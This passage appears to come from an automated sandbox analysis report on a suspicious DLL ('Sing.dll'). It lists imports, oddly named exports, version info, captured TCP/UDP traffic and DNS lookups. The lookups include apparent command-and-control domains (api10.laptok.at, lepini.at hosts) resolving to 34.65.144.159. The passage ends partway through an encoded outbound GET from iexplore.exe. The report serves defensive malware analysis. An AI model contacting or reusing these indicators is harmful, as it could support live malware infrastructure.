RT_MANIFEST 0xb1350 0x17d XML 1.0 document text English United States

DLL Import

KERNEL32.dll ExitProcess, GetFileAttributesA, CreateProcessA, GetSystemDirectoryA, GetEnvironmentVariableA, 
MultiByteToWideChar, GetShortPathNameA, CopyFileA, GetTempFileNameA, LoadLibraryA, WaitForMultipleObjects, 
GetModuleFileNameA, VirtualProtect, GetCurrentProcessId, CompareStringW, CompareStringA, CreateFileA, 
SetStdHandle, WriteConsoleW, GetConsoleOutputCP, WriteConsoleA, ReadFile, GetLocaleInfoW, IsValidCodePage, 
IsValidLocale, EnumSystemLocalesA, GetLocaleInfoA, WideCharToMultiByte, InterlockedIncrement, 
InterlockedDecrement, InterlockedCompareExchange, InterlockedExchange, Sleep, InitializeCriticalSection, 
DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetLastError, HeapFree, TerminateProcess, 
GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetTimeFormatA, 
GetDateFormatA, GetSystemTimeAsFileTime, GetCurrentThreadId, GetCommandLineA, GetVersionExA, HeapAlloc, 
GetProcessHeap, GetCPInfo, RaiseException, RtlUnwind, LCMapStringA, LCMapStringW, GetStringTypeA, 
GetStringTypeW, HeapDestroy, HeapCreate, VirtualFree, VirtualAlloc, HeapReAlloc, GetProcAddress, 
GetModuleHandleA, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetACP, GetOEMCP, 
GetTimeZoneInformation, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, FreeEnvironmentStringsA, 
GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, QueryPerformanceCounter, 
GetTickCount, WriteFile, GetConsoleCP, GetConsoleMode, FlushFileBuffers, SetFilePointer, CloseHandle, HeapSize, 
GetUserDefaultLCID, SetEnvironmentVariableA

WS2_32.dll ioctlsocket, inet_ntoa, WSAStartup, recvfrom, ntohl, inet_addr, htons, WSACleanup, recv, socket, getservbyname, send, 
getsockopt, listen

Data Directories

Sections

Resources

Imports
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Network Port Distribution

Total Packets: 110

• 53 (DNS)

• 443 (HTTPS)

Name Ordinal Address

DllRegisterServer 1 0x10021230

Exactnature 2 0x10021130

Happenthousand 3 0x100215a0

Probablepath 4 0x10021650

Description Data

LegalCopyright Copyright  Strongimagine 1996-2016

FileVersion 8.3.8.121

CompanyName Strongimagine

ProductName Room know

ProductVersion 8.3.8.121 Soundbank

FileDescription Room know

OriginalFilename Sing.dll

Translation 0x0409 0x04e4

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Timestamp Source Port Dest Port Source IP Dest IP

Feb 15, 2021 21:27:41.745409966 CET 49729 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.745594025 CET 49730 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.793874979 CET 443 49729 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.793927908 CET 443 49730 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.793994904 CET 49729 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.794037104 CET 49730 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.819467068 CET 49729 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.820148945 CET 49730 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.868093014 CET 443 49729 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.868719101 CET 443 49730 104.20.184.68 192.168.2.3

Exports

Version Infos

Possible Origin

TCP Packets
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Feb 15, 2021 21:27:41.870663881 CET 443 49730 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.870696068 CET 443 49730 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.870826960 CET 49730 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.871778965 CET 443 49729 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.871809006 CET 443 49729 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.871901989 CET 49729 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.871941090 CET 49729 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.887296915 CET 49730 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.887797117 CET 49730 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.888008118 CET 49730 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.893605947 CET 49729 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.894131899 CET 49729 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.933924913 CET 443 49730 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.934164047 CET 443 49730 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.934238911 CET 443 49730 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.934284925 CET 49730 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.934293032 CET 443 49730 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.934340954 CET 49730 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.934465885 CET 443 49730 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.936119080 CET 49730 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.941370010 CET 443 49729 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.941415071 CET 443 49729 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.941428900 CET 443 49729 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.941440105 CET 443 49729 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.941451073 CET 443 49729 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.941565990 CET 49729 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.942737103 CET 49729 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.943445921 CET 49729 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.948060989 CET 443 49730 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.948088884 CET 443 49730 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.948174953 CET 49730 443 192.168.2.3 104.20.184.68

Feb 15, 2021 21:27:41.982692957 CET 443 49730 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:41.989964008 CET 443 49729 104.20.184.68 192.168.2.3

Feb 15, 2021 21:27:46.756138086 CET 49742 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.756290913 CET 49744 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.756359100 CET 49745 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.756436110 CET 49743 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.756462097 CET 49746 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.756556034 CET 49747 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.799658060 CET 443 49742 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.799681902 CET 443 49744 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.799700022 CET 443 49745 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.799772978 CET 49742 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.799838066 CET 49744 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.799874067 CET 443 49746 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.799879074 CET 49745 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.799907923 CET 443 49743 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.799964905 CET 49746 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.800044060 CET 49743 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.800052881 CET 443 49747 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.800110102 CET 49747 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.852077961 CET 49744 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.852107048 CET 49746 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.852221966 CET 49742 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.852354050 CET 49745 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.852654934 CET 49743 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.855736971 CET 49747 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.895528078 CET 443 49744 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.895559072 CET 443 49742 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.895574093 CET 443 49746 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.895700932 CET 443 49745 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.896028996 CET 443 49743 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.896667004 CET 443 49746 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.896701097 CET 443 49746 151.101.1.44 192.168.2.3

Timestamp Source Port Dest Port Source IP Dest IP
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Feb 15, 2021 21:27:46.896729946 CET 443 49746 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.896768093 CET 443 49744 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.896800995 CET 443 49744 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.896806955 CET 49746 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.896826029 CET 443 49744 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.896842003 CET 49746 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.896861076 CET 443 49742 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.896893024 CET 443 49742 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.896893024 CET 49744 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.896912098 CET 49744 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.896919012 CET 443 49742 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.896935940 CET 49742 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.896954060 CET 443 49745 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.896961927 CET 49742 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.896966934 CET 49742 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.896986008 CET 443 49745 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.897017002 CET 443 49745 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.897020102 CET 49745 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.897047997 CET 49745 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.897053003 CET 49745 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.897260904 CET 443 49743 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.897291899 CET 443 49743 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.897321939 CET 443 49743 151.101.1.44 192.168.2.3

Feb 15, 2021 21:27:46.897370100 CET 49743 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.897401094 CET 49743 443 192.168.2.3 151.101.1.44

Feb 15, 2021 21:27:46.897406101 CET 49743 443 192.168.2.3 151.101.1.44

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Feb 15, 2021 21:27:30.108747959 CET 63492 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:30.157313108 CET 53 63492 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:30.980353117 CET 60831 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:31.028975964 CET 53 60831 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:32.070003986 CET 60100 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:32.119261026 CET 53 60100 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:33.291930914 CET 53195 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:33.340631962 CET 53 53195 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:34.334990025 CET 50141 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:34.386013031 CET 53 50141 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:35.141433001 CET 53023 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:35.198617935 CET 53 53023 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:36.312786102 CET 49563 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:36.364204884 CET 53 49563 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:36.988050938 CET 51352 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:37.054063082 CET 53 51352 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:38.267168045 CET 59349 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:38.327735901 CET 53 59349 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:38.626367092 CET 57084 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:38.677764893 CET 53 57084 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:39.181737900 CET 58823 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:39.189266920 CET 57568 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:39.230379105 CET 53 58823 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:39.248267889 CET 53 57568 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:41.126677036 CET 50540 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:41.199018002 CET 53 50540 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:41.656536102 CET 54366 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:41.707158089 CET 53 54366 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:41.792095900 CET 53034 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:41.863749027 CET 53 53034 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:43.739886999 CET 57762 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:43.819216013 CET 53 57762 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:44.282085896 CET 55435 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:44.346270084 CET 53 55435 8.8.8.8 192.168.2.3

UDP Packets
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Feb 15, 2021 21:27:44.876768112 CET 50713 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:44.938357115 CET 53 50713 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:45.105777025 CET 56132 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:45.158730030 CET 53 56132 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:45.395406008 CET 58987 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:45.446686029 CET 53 58987 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:46.545862913 CET 56579 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:46.597443104 CET 53 56579 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:48.930778027 CET 60633 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:48.982269049 CET 53 60633 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:54.778234005 CET 61292 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:54.836879969 CET 53 61292 8.8.8.8 192.168.2.3

Feb 15, 2021 21:27:57.939918041 CET 63619 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:27:57.998320103 CET 53 63619 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:01.661526918 CET 64938 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:01.713030100 CET 53 64938 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:06.857871056 CET 61946 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:06.908282995 CET 53 61946 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:07.797749996 CET 64910 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:07.848479033 CET 53 64910 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:07.868299961 CET 61946 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:07.917154074 CET 53 61946 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:08.806874990 CET 64910 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:08.855611086 CET 53 64910 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:08.911894083 CET 61946 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:08.961432934 CET 53 61946 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:09.962284088 CET 64910 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:10.013039112 CET 53 64910 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:10.911467075 CET 61946 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:10.961525917 CET 53 61946 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:11.966976881 CET 64910 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:12.015572071 CET 53 64910 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:14.921763897 CET 61946 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:14.970366001 CET 53 61946 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:15.969114065 CET 64910 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:16.019747972 CET 53 64910 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:17.618477106 CET 52123 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:17.678955078 CET 53 52123 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:18.888113976 CET 56130 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:18.960412025 CET 53 56130 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:29.424473047 CET 56338 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:29.481311083 CET 53 56338 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:32.582920074 CET 59420 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:32.639991999 CET 53 59420 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:36.753459930 CET 58784 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:36.810681105 CET 53 58784 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:46.480864048 CET 63978 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:46.544934034 CET 53 63978 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:48.140984058 CET 62938 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:48.192257881 CET 53 62938 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:49.264786005 CET 55708 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:49.353246927 CET 53 55708 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:50.167457104 CET 56803 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:50.230851889 CET 53 56803 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:50.812773943 CET 57145 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:50.875157118 CET 53 57145 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:51.554253101 CET 55359 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:51.611680984 CET 53 55359 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:52.598726988 CET 58306 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:52.659380913 CET 53 58306 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:53.654073954 CET 64124 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:53.704503059 CET 53 64124 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:55.037005901 CET 49361 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:55.088478088 CET 53 49361 8.8.8.8 192.168.2.3

Timestamp Source Port Dest Port Source IP Dest IP
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Feb 15, 2021 21:28:55.978509903 CET 63150 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:56.028887033 CET 53 63150 8.8.8.8 192.168.2.3

Feb 15, 2021 21:28:56.570107937 CET 53279 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:28:56.641485929 CET 53 53279 8.8.8.8 192.168.2.3

Feb 15, 2021 21:29:00.789607048 CET 56881 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:29:00.860058069 CET 53 56881 8.8.8.8 192.168.2.3

Feb 15, 2021 21:29:15.161297083 CET 53642 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:29:15.225378990 CET 53 53642 8.8.8.8 192.168.2.3

Feb 15, 2021 21:29:29.804867983 CET 54833 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:29:29.804915905 CET 55667 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:29:29.855041027 CET 53 55667 8.8.8.8 192.168.2.3

Feb 15, 2021 21:29:29.856349945 CET 53 54833 8.8.8.8 192.168.2.3

Feb 15, 2021 21:29:30.222531080 CET 62476 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:29:30.554728031 CET 53 62476 8.8.8.8 192.168.2.3

Feb 15, 2021 21:29:31.311822891 CET 49705 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:29:31.370978117 CET 53 49705 8.8.8.8 192.168.2.3

Feb 15, 2021 21:29:32.021255970 CET 61477 53 192.168.2.3 8.8.8.8

Feb 15, 2021 21:29:32.302854061 CET 53 61477 8.8.8.8 192.168.2.3

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Feb 15, 2021 21:27:38.626367092 CET 192.168.2.3 8.8.8.8 0x3790 Standard query 
(0)

www.msn.com A (IP address) IN (0x0001)

Feb 15, 2021 21:27:41.126677036 CET 192.168.2.3 8.8.8.8 0xb43f Standard query 
(0)

web.vortex
.data.msn.com

A (IP address) IN (0x0001)

Feb 15, 2021 21:27:41.656536102 CET 192.168.2.3 8.8.8.8 0xef91 Standard query 
(0)

geolocatio
n.onetrust.com

A (IP address) IN (0x0001)

Feb 15, 2021 21:27:41.792095900 CET 192.168.2.3 8.8.8.8 0x53e8 Standard query 
(0)

contextual
.media.net

A (IP address) IN (0x0001)

Feb 15, 2021 21:27:43.739886999 CET 192.168.2.3 8.8.8.8 0x9d4d Standard query 
(0)

lg3.media.net A (IP address) IN (0x0001)

Feb 15, 2021 21:27:44.282085896 CET 192.168.2.3 8.8.8.8 0xe950 Standard query 
(0)

hblg.media.net A (IP address) IN (0x0001)

Feb 15, 2021 21:27:44.876768112 CET 192.168.2.3 8.8.8.8 0xf18b Standard query 
(0)

cvision.media.net A (IP address) IN (0x0001)

Feb 15, 2021 21:27:45.395406008 CET 192.168.2.3 8.8.8.8 0xdcbb Standard query 
(0)

srtb.msn.com A (IP address) IN (0x0001)

Feb 15, 2021 21:27:46.545862913 CET 192.168.2.3 8.8.8.8 0x9be0 Standard query 
(0)

img.img-ta
boola.com

A (IP address) IN (0x0001)

Feb 15, 2021 21:28:29.424473047 CET 192.168.2.3 8.8.8.8 0x5c92 Standard query 
(0)

api10.laptok.at A (IP address) IN (0x0001)

Feb 15, 2021 21:28:32.582920074 CET 192.168.2.3 8.8.8.8 0xf6b6 Standard query 
(0)

api10.laptok.at A (IP address) IN (0x0001)

Feb 15, 2021 21:28:36.753459930 CET 192.168.2.3 8.8.8.8 0x611 Standard query 
(0)

api10.laptok.at A (IP address) IN (0x0001)

Feb 15, 2021 21:29:15.161297083 CET 192.168.2.3 8.8.8.8 0x91b6 Standard query 
(0)

c56.lepini.at A (IP address) IN (0x0001)

Feb 15, 2021 21:29:29.804867983 CET 192.168.2.3 8.8.8.8 0x29be Standard query 
(0)

resolver1.
opendns.com

A (IP address) IN (0x0001)

Feb 15, 2021 21:29:29.804915905 CET 192.168.2.3 8.8.8.8 0x2271 Standard query 
(0)

resolver1.
opendns.com

A (IP address) IN (0x0001)

Feb 15, 2021 21:29:30.222531080 CET 192.168.2.3 8.8.8.8 0x719b Standard query 
(0)

api3.lepini.at A (IP address) IN (0x0001)

Feb 15, 2021 21:29:31.311822891 CET 192.168.2.3 8.8.8.8 0xa505 Standard query 
(0)

api3.lepini.at A (IP address) IN (0x0001)

Feb 15, 2021 21:29:32.021255970 CET 192.168.2.3 8.8.8.8 0x2262 Standard query 
(0)

api3.lepini.at A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Feb 15, 2021 
21:27:38.677764893 
CET

8.8.8.8 192.168.2.3 0x3790 No error (0) www.msn.com www-msn-com.a-0003.a-
msedge.net

CNAME 
(Canonical 
name)

IN (0x0001)

Feb 15, 2021 
21:27:41.199018002 
CET

8.8.8.8 192.168.2.3 0xb43f No error (0) web.vortex
.data.msn.com

web.vortex.data.microsoft
.com

CNAME 
(Canonical 
name)

IN (0x0001)

Feb 15, 2021 
21:27:41.707158089 
CET

8.8.8.8 192.168.2.3 0xef91 No error (0) geolocatio
n.onetrust.com

104.20.184.68 A (IP address) IN (0x0001)

DNS Queries

DNS Answers
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Feb 15, 2021 
21:27:41.707158089 
CET

8.8.8.8 192.168.2.3 0xef91 No error (0) geolocatio
n.onetrust.com

104.20.185.68 A (IP address) IN (0x0001)

Feb 15, 2021 
21:27:41.863749027 
CET

8.8.8.8 192.168.2.3 0x53e8 No error (0) contextual
.media.net

23.210.250.97 A (IP address) IN (0x0001)

Feb 15, 2021 
21:27:43.819216013 
CET

8.8.8.8 192.168.2.3 0x9d4d No error (0) lg3.media.net 23.210.250.97 A (IP address) IN (0x0001)

Feb 15, 2021 
21:27:44.346270084 
CET

8.8.8.8 192.168.2.3 0xe950 No error (0) hblg.media.net 23.210.250.97 A (IP address) IN (0x0001)

Feb 15, 2021 
21:27:44.938357115 
CET

8.8.8.8 192.168.2.3 0xf18b No error (0) cvision.me
dia.net

cvision.media.net.edgeke
y.net

CNAME 
(Canonical 
name)

IN (0x0001)

Feb 15, 2021 
21:27:45.446686029 
CET

8.8.8.8 192.168.2.3 0xdcbb No error (0) srtb.msn.com www.msn.com CNAME 
(Canonical 
name)

IN (0x0001)

Feb 15, 2021 
21:27:45.446686029 
CET

8.8.8.8 192.168.2.3 0xdcbb No error (0) www.msn.com www-msn-com.a-0003.a-
msedge.net

CNAME 
(Canonical 
name)

IN (0x0001)

Feb 15, 2021 
21:27:46.597443104 
CET

8.8.8.8 192.168.2.3 0x9be0 No error (0) img.img-ta
boola.com

tls13.taboola.map.fastly.n
et

CNAME 
(Canonical 
name)

IN (0x0001)

Feb 15, 2021 
21:27:46.597443104 
CET

8.8.8.8 192.168.2.3 0x9be0 No error (0) tls13.tabo
ola.map.fa
stly.net

151.101.1.44 A (IP address) IN (0x0001)

Feb 15, 2021 
21:27:46.597443104 
CET

8.8.8.8 192.168.2.3 0x9be0 No error (0) tls13.tabo
ola.map.fa
stly.net

151.101.65.44 A (IP address) IN (0x0001)

Feb 15, 2021 
21:27:46.597443104 
CET

8.8.8.8 192.168.2.3 0x9be0 No error (0) tls13.tabo
ola.map.fa
stly.net

151.101.129.44 A (IP address) IN (0x0001)

Feb 15, 2021 
21:27:46.597443104 
CET

8.8.8.8 192.168.2.3 0x9be0 No error (0) tls13.tabo
ola.map.fa
stly.net

151.101.193.44 A (IP address) IN (0x0001)

Feb 15, 2021 
21:28:29.481311083 
CET

8.8.8.8 192.168.2.3 0x5c92 No error (0) api10.laptok.at 34.65.144.159 A (IP address) IN (0x0001)

Feb 15, 2021 
21:28:32.639991999 
CET

8.8.8.8 192.168.2.3 0xf6b6 No error (0) api10.laptok.at 34.65.144.159 A (IP address) IN (0x0001)

Feb 15, 2021 
21:28:36.810681105 
CET

8.8.8.8 192.168.2.3 0x611 No error (0) api10.laptok.at 34.65.144.159 A (IP address) IN (0x0001)

Feb 15, 2021 
21:29:15.225378990 
CET

8.8.8.8 192.168.2.3 0x91b6 No error (0) c56.lepini.at 34.65.144.159 A (IP address) IN (0x0001)

Feb 15, 2021 
21:29:29.855041027 
CET

8.8.8.8 192.168.2.3 0x2271 No error (0) resolver1.
opendns.com

208.67.222.222 A (IP address) IN (0x0001)

Feb 15, 2021 
21:29:29.856349945 
CET

8.8.8.8 192.168.2.3 0x29be No error (0) resolver1.
opendns.com

208.67.222.222 A (IP address) IN (0x0001)

Feb 15, 2021 
21:29:30.554728031 
CET

8.8.8.8 192.168.2.3 0x719b No error (0) api3.lepini.at 34.65.144.159 A (IP address) IN (0x0001)

Feb 15, 2021 
21:29:31.370978117 
CET

8.8.8.8 192.168.2.3 0xa505 No error (0) api3.lepini.at 34.65.144.159 A (IP address) IN (0x0001)

Feb 15, 2021 
21:29:32.302854061 
CET

8.8.8.8 192.168.2.3 0x2262 No error (0) api3.lepini.at 34.65.144.159 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
api10.laptok.at

            
c56.lepini.at

            
api3.lepini.at

         

HTTP Request Dependency Graph

HTTP Packets
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Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.3 49757 34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Feb 15, 2021 
21:28:29.552653074 CET

3008 OUT GET /api1/nH23HHDrgk/10Cw7k0sEsFdP7SDZ/GJzI8RwZt_2F/lJSbcpCS9kd/So9_2FRP7wVauo/K_2FZsHvY_2
